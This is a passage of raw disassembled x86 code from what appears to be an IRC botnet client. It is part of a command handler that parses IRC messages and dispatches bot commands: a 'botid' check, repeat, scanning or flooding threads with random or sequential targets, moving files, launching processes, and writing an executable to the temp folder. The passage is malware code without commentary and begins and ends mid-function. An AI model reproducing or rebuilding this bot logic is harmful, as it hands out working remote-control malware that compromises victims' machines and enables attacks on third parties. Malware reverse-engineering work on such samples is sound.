		mov	eax, [ebp+Str1]
		cmp	eax, ebx
		jz	short loc_4120E8
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120E8
		push	eax
		jmp	short loc_4120C7
; ---------------------------------------------------------------------------


loc_4120E8:				; CODE XREF: sub_40EE51+328Dj
					; sub_40EE51+3292j
		mov	esi, offset aS_5 ; "#!S#"
		push	offset byte_4397BC ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120C6
		mov	[ebp+var_3B4], bl


loc_412104:				; CODE XREF: sub_40EE51+3286j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_412116
		mov	eax, offset aSequential	; "Sequential"


loc_412116:				; CODE XREF: sub_40EE51+32BEj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset unk_435F4C ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	8		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40796C
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4121A4


loc_41218E:				; CODE XREF: sub_40EE51+3351j
		cmp	[ebp+var_300], ebx
		jnz	loc_4145C3
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_41218E
; ---------------------------------------------------------------------------


loc_4121A4:				; CODE XREF: sub_40EE51+333Bj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435F04
		jmp	loc_413BD1
; ---------------------------------------------------------------------------


loc_4121B5:				; CODE XREF: sub_40EE51+27C4j
					; sub_40EE51+27DBj
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_442088[eax], bl
		jz	loc_414F3C
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	[ebp+Str1]	; Str
		call	_strlen
		push	edi		; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Src]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		lea	eax, [ebp+Dst]
		push	esi
		push	offset dword_435EF8 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_414F3C
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_414F3C
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F3C
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	eax		; int
		push	[ebp+Str1]	; Str
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44207C[eax] ; int
		call	sub_40D670
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_441E70[eax], 73h
		jnz	loc_414F3C
		push	esi
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_442088
		push	eax
		push	[ebp+Str1]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_41229D:				; CODE XREF: sub_40EE51+3549j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670


loc_4122C2:				; CODE XREF: sub_40EE51+5851j
		add	esp, 28h
		jmp	loc_414F3C
; ---------------------------------------------------------------------------


loc_4122CA:				; CODE XREF: sub_40EE51+2796j
					; sub_40EE51+27ADj
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_442088[eax], bl
		jz	loc_414F3C
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	[ebp+Str1]	; Str
		call	_strlen
		push	edi		; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Src]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F3C
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_414F3C
		push	edi		; Str
		call	_atoi
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F3C
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	[ebp+Str1]	; Str
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	ds:dword_44207C[eax] ; int
		call	sub_40D670
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_441E70[eax], 73h
		jnz	loc_414F3C
		push	esi
		push	edi		; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_442088
		push	eax
		push	[ebp+Str1]
		push	offset aSSS_2	; "[%s]	<%s> %s"
		jmp	loc_41229D
; ---------------------------------------------------------------------------


loc_41239F:				; CODE XREF: sub_40EE51+2768j
					; sub_40EE51+277Fj
		push	edi
		call	ds:dword_43C658	; inet_addr
		push	[ebp+Str1]	; Str
		mov	[ebp+var_474], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_480], eax
		call	_atoi
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax		; Dest
		call	_strncpy
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	ds:dword_43C6A4	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dst]
		push	offset unk_435E8C ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	8		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset sub_415E26
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_412481


loc_41246B:				; CODE XREF: sub_40EE51+362Ej
		cmp	[ebp+var_464], ebx
		jnz	loc_4144A4
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_41246B
; ---------------------------------------------------------------------------


loc_412481:				; CODE XREF: sub_40EE51+3618j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435E40
		jmp	loc_414495
; ---------------------------------------------------------------------------


loc_412492:				; CODE XREF: sub_40EE51+273Aj
					; sub_40EE51+2751j
		push	edi		; Str
		call	_atoi
		push	7Fh		; Count
		mov	[ebp+var_314], eax
		push	[ebp+Str1]	; Source
		lea	eax, [ebp+var_418]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Src]	; Str
		call	_atoi
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	80h		; Count
		push	eax		; Dest
		mov	[ebp+var_420], esi
		call	__snprintf
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEDB
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset unk_435DF4 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	10h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BCB
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_41257B


loc_412565:				; CODE XREF: sub_40EE51+3728j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144A4
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_412565
; ---------------------------------------------------------------------------


loc_41257B:				; CODE XREF: sub_40EE51+3712j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435DA0
		jmp	loc_414495
; ---------------------------------------------------------------------------


loc_41258C:				; CODE XREF: sub_40EE51+270Cj
					; sub_40EE51+2723j
		push	0FFh		; Count
		lea	eax, [ebp+var_780]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	0FFh		; Count
		lea	eax, [ebp+var_680]
		push	[ebp+Str1]	; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Src]	; Str
		mov	[ebp+var_57C], ebx
		call	_atoi
		mov	[ebp+var_578], eax
		mov	eax, dword ptr [ebp+esi+Args]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125E8
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125EE
; ---------------------------------------------------------------------------


loc_4125E8:				; CODE XREF: sub_40EE51+3781j
		mov	[ebp+var_570], ebx


loc_4125EE:				; CODE XREF: sub_40EE51+3795j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412605
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_41260B
; ---------------------------------------------------------------------------


loc_412605:				; CODE XREF: sub_40EE51+37A3j
		mov	[ebp+var_574], ebx


loc_41260B:				; CODE XREF: sub_40EE51+37B2j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		push	[ebp+Str1]
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+Dst]
		push	offset unk_435D64 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	16h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 28h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4126B9


loc_4126A3:				; CODE XREF: sub_40EE51+3866j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D1C
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_4126B9:				; CODE XREF: sub_40EE51+3850j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435D14
		jmp	loc_4128BC
; ---------------------------------------------------------------------------


loc_4126CA:				; CODE XREF: sub_40EE51+26DEj
					; sub_40EE51+26F5j
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi		; Count
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_6EC]
		push	[ebp+Str1]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_66C]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_5EC]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_8]
		push	[ebp+Src]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+Str1]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+Dst]
		push	edi
		push	offset dword_435CD8 ; Format
		push	eax		; Dest
		mov	[ebp+var_568], esi
		call	_sprintf
		add	esp, 44h
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	0Bh		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D1
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_41279D


loc_41278B:				; CODE XREF: sub_40EE51+394Aj
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127B8
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_41278B
; ---------------------------------------------------------------------------


loc_41279D:				; CODE XREF: sub_40EE51+3938j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_435C90 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_4127B8:				; CODE XREF: sub_40EE51+3940j
		cmp	[ebp+var_8], ebx
		jnz	loc_414DFC
		push	ebx
		push	esi
		jmp	loc_4145D0
; ---------------------------------------------------------------------------


loc_4127C8:				; CODE XREF: sub_40EE51+2699j
					; sub_40EE51+26B0j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi		; Count
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_768]
		push	[ebp+Str1]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_6E8]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_668]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		push	20h		; Count
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		push	[ebp+Src]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+Str1]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+Dst]
		push	edi
		push	offset unk_435C50 ; Format
		push	eax		; Dest
		mov	[ebp+var_7F0], esi
		call	_sprintf
		add	esp, 50h
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	0Ah		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 0Ch
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4128B0


loc_41289A:				; CODE XREF: sub_40EE51+3A5Dj
		cmp	[ebp+var_560], ebx
		jnz	loc_411D1C
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_41289A
; ---------------------------------------------------------------------------


loc_4128B0:				; CODE XREF: sub_40EE51+3A47j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435C08 ; Format


loc_4128BC:				; CODE XREF: sub_40EE51+2EADj
					; sub_40EE51+3006j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		jmp	loc_411D19
; ---------------------------------------------------------------------------


loc_4128CD:				; CODE XREF: sub_40EE51+266Bj
					; sub_40EE51+2682j
		push	7Fh		; Count
		lea	eax, [ebp+var_458]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Str1]	; Str
		call	_atoi
		push	3Fh		; Count
		mov	[ebp+var_308], eax
		push	[ebp+Src]	; Source
		lea	eax, [ebp+var_3D8]
		push	eax		; Dest
		call	_strncpy
		mov	esi, dword ptr [ebp+esi+Args]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41291B
		push	3Fh		; Count
		lea	eax, [ebp+var_398]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_41291B:				; CODE XREF: sub_40EE51+3AB6j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset unk_435BC8 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	18h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB71
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_4129A7


loc_412991:				; CODE XREF: sub_40EE51+3B54j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A2F
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_412991
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: sub_40EE51+3B3Ej
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435B80
		jmp	loc_411891
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_40EE51+262Bj
					; sub_40EE51+2642j
		push	[ebp+Str1]	; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412AA9
		mov	esi, 80h
		push	edi		; Format
		lea	eax, [ebp+var_6F8]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+Format]	; Format
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		push	[ebp+Str1]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		push	edi
		push	offset unk_435B44 ; Format
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Dh		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 38h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401447
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_412A98


loc_412A82:				; CODE XREF: sub_40EE51+3C45j
		cmp	[ebp+var_560], ebx
		jnz	loc_4145C3
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_412A82
; ---------------------------------------------------------------------------


loc_412A98:				; CODE XREF: sub_40EE51+3C2Fj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435AFC
		jmp	loc_413BD1
; ---------------------------------------------------------------------------


loc_412AA9:				; CODE XREF: sub_40EE51+3B78j
		push	offset unk_435AB4
		jmp	loc_4145B5
; ---------------------------------------------------------------------------


loc_412AB3:				; CODE XREF: sub_40EE51+25FDj
					; sub_40EE51+2614j
		push	[ebp+Str1]
		push	edi
		call	ds:dword_42316C	; MoveFileA
		test	eax, eax
		jz	short loc_412AE0
		push	[ebp+Str1]
		lea	eax, [ebp+Dst]
		push	edi
		push	offset unk_435A80 ; Format
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		jmp	loc_4132F5
; ---------------------------------------------------------------------------


loc_412AE0:				; CODE XREF: sub_40EE51+3C6Ej
		push	offset dword_435A64
		call	sub_40AA30
		push	eax		; Format
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		jmp	loc_4145C3
; ---------------------------------------------------------------------------


loc_412B04:				; CODE XREF: sub_40EE51+25CFj
					; sub_40EE51+25E6j
		push	edi		; Format
		lea	eax, [ebp+var_774]
		push	104h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B3E
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B3E
		push	eax		; Format
		lea	eax, [ebp+var_670]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_412B3E:				; CODE XREF: sub_40EE51+3CCBj
					; sub_40EE51+3CDCj
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_7F4]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_435A24 ; Format
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ch		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 2Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DC8
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_412BF1


loc_412BDB:				; CODE XREF: sub_40EE51+3D9Ej
		cmp	[ebp+var_560], ebx
		jnz	loc_414DFC
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_412BDB
; ---------------------------------------------------------------------------


loc_412BF1:				; CODE XREF: sub_40EE51+3D88j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4359D8
		jmp	loc_414DED
; ---------------------------------------------------------------------------


loc_412C02:				; CODE XREF: sub_40EE51+25A1j
					; sub_40EE51+25B8j
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi		; Str
		mov	[ebp+var_474], esi
		call	_atoi
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C3F
		mov	word ptr [ebp+var_470],	5


loc_412C3F:				; CODE XREF: sub_40EE51+3DE3j
		cmp	[ebp+var_C], ebx
		jz	loc_413A2F
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A2F
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	ds:dword_423120	; CreateProcessA
		test	eax, eax
		jnz	short loc_412C8A
		push	offset unk_4359A4
		jmp	loc_413A21
; ---------------------------------------------------------------------------


loc_412C8A:				; CODE XREF: sub_40EE51+3E2Dj
		push	edi
		push	offset dword_43597C
		jmp	loc_411891
; ---------------------------------------------------------------------------


loc_412C95:				; CODE XREF: sub_40EE51+2573j
					; sub_40EE51+258Aj
		push	[ebp+Str1]	; Str2
		push	offset aBotid	; "botid"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E09
		lea	eax, [ebp+FullPath]
		push	eax
		push	104h
		call	ds:dword_42312C	; GetTempPathA
		push	0FFh		; Count
		lea	eax, [ebp+var_780]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159E3
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_412D27
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D2D
; ---------------------------------------------------------------------------


loc_412D27:				; CODE XREF: sub_40EE51+3EC0j
		mov	[ebp+var_570], ebx


loc_412D2D:				; CODE XREF: sub_40EE51+3ED4j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_412D47
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D4D
; ---------------------------------------------------------------------------


loc_412D47:				; CODE XREF: sub_40EE51+3EE5j
		mov	[ebp+var_574], ebx


loc_412D4D:				; CODE XREF: sub_40EE51+3EF4j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+Dst]
		push	offset unk_435934 ; Format
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	17h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 24h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_412DF8


loc_412DE2:				; CODE XREF: sub_40EE51+3FA5j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A2F
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_412DE2
; ---------------------------------------------------------------------------


loc_412DF8:				; CODE XREF: sub_40EE51+3F8Fj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4358E8
		jmp	loc_411891
; ---------------------------------------------------------------------------


loc_412E09:				; CODE XREF: sub_40EE51+3E55j
		push	offset unk_435894
		jmp	loc_413A21
; ---------------------------------------------------------------------------


loc_412E13:				; CODE XREF: sub_40EE51+2545j
					; sub_40EE51+255Cj
		push	[ebp+var_90]	; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F215
		cmp	[ebp+var_C], ebx
		jz	loc_40F215
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+Format]
		push	[ebp+var_90]
		push	[ebp+Str2]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	1FFh		; Count
		push	eax		; Source
		push	[ebp+Src]	; Dest
		call	_strncpy
		push	edi		; Str
		call	_atoi
		add	esp, 30h
		test	eax, eax
		jle	short loc_412E9A
		push	edi		; Str
		call	_atoi
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_423060	; Sleep


loc_412E9A:				; CODE XREF: sub_40EE51+4033j
		push	offset dword_435860
		call	sub_40BF6F
		mov	eax, [ebp+File]
		pop	ecx
		inc	eax
		jmp	loc_40F218
; ---------------------------------------------------------------------------


loc_412EAE:				; CODE XREF: sub_40EE51+2517j
					; sub_40EE51+252Ej
		push	[ebp+var_90]	; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F215
		cmp	[ebp+var_C], ebx
		jz	loc_414F3C
		push	[ebp+Str1]	; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		mov	esi, eax
		mov	eax, [ebp+Str1]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax		; Str1
		call	_strcmp
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F6A
		push	[ebp+Format]
